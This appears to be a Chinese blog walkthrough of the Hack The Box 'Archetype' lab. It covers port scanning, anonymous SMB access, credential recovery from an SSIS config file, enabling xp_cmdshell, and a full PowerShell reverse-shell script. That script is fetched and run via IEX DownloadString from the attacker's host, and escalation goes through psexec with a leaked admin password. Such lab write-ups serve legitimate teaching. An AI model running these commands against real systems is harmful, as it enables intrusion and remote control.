『Hack The Box』Archetype

文章目录

前言

操作基于Kali 2020,参照官方wp

配置代理

Kali连接下发的代理

openvpn xxx.ovpn

『Hack The Box』Archetype

ifconfig获取当前Kali的ip,10.10.14.*网段的ip

『Hack The Box』Archetype

此时靶机可以ping通,靶机ip10.10.10.27

『Hack The Box』Archetype

解题

信息搜集

用nmap扫一下

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.27

第一条指令列出了开放的端口

  • -p-扫描所有端口,原型是-p0-65535
  • --min-rate指定最小发包速率
  • -T4指定扫描时序速率,范围0-5,值越大越快

第二条指令进行了具体端口扫描

  • -sC指定使用默认扫描脚本
  • -sV指定探测版本信息

『Hack The Box』Archetype

445、1433端口是开放的;445是SMB的端口,1433是SQL Server的端口

那么看到这就提供了一条思路:文件共享一般存储了敏感用户信息,可以尝试查找数据库和Linux的用户信息,进而走SQL Server进入

SMB

Linux使用smbclient读取SMB

目标主机是Windows,目录分隔符要转义

smbclient -N -L \\\\10.10.10.27\\
  • -N指定不验证密码
  • -L表示列出信息
  • ip需要用双斜杠

『Hack The Box』Archetype

发现靶机共享了backups备份文件夹,找一找有没有好康的

smbclient -N \\\\10.10.10.27\\backups
smb: \> dir

『Hack The Box』Archetype

找到一个.dtsConfig,它是SSIS的配置文件,即Microsoft SQL Server Integration Services,把它下载下来康康

smb: \> get prod.dtsConfig

get指令能下载指定文件到terminal的路径下

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

在配置文件中找到了主机名\用户ARCHETYPE\sql_svc,密码M3g4c0rp123,接下来就能连数据库了

SQL Server拿shell

用Impacket工具包访问数据库

SecureAuthCorp/impacket: Impacket is a collection of Python classes for working with network protocols. (github.com)

使用里面的工具mssqlclient.py

mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
  • username@ip指定连接信息
  • -windows-auth指定验证登录

『Hack The Box』Archetype

进入数据库后先看看当前用户是否属于admin

SQL> SELECT IS_SRVROLEMEMBER('sysadmin')

返回1即属于admin

接下来就是开启shell的权限

SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> reconfigure;
SQL> xp_cmdshell "whoami"

先开高级选项,再开shell,最后测试一下可以用

『Hack The Box』Archetype

至此我们已经初步拿到了shell

*持久化shell

SQL Server的shel还略显单薄,既然是Windows,那么就尝试用Powershell脚本、nc监听做一个持久化的连接

第一行的IP填写最开始获取的Kali IP,注意网段

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.xxx",443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()

另存到Kali的桌面,名称为shell.ps1

之后用python起一个服务器,以便靶机访问脚本、下载脚本,服务器在桌面起,和shell.ps1在同一个文件夹

python3 -m http.server 80

要确保起了后能访问到脚本

『Hack The Box』Archetype

nc起一个监听用于shell交互,端口同上所设置的443

nc -lvnp 443

返回mssqlclient,让靶机访问、下载、运行脚本,同理xxx是Kali IP

mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
SQL \> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.xxx/shell.ps1\");"

『Hack The Box』Archetype

  • 左上是服务器,如果收到了get请求,证明靶机访问了shell.ps1
  • 左下是client端,用nc监听,有来自10.10.10.27的连接请求证明连接成功
  • 右侧靶机执行运行脚本,运行后得到左侧

用nc就可以进行shell交互了

『Hack The Box』Archetype

User Owns Flag

访问桌面获取到flag文件

type c:\Users\sql_svc\Desktop\user.txt

『Hack The Box』Archetype

System Owns Flag

拿到了shell,找一找最近的历史

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

『Hack The Box』Archetype

获取到了backups的映射和管理员密码MEGACORP_4dm1n!!,之后使用impacket的psexec.py提权

psexec.py administrator@10.10.10.27

『Hack The Box』Archetype

同理,桌面获取flag

type c:\Users\Administrator\Desktop\root.txt

『Hack The Box』Archetype

上一篇:Entity FrameWork Code First常用知识


下一篇:CSS aspect ratio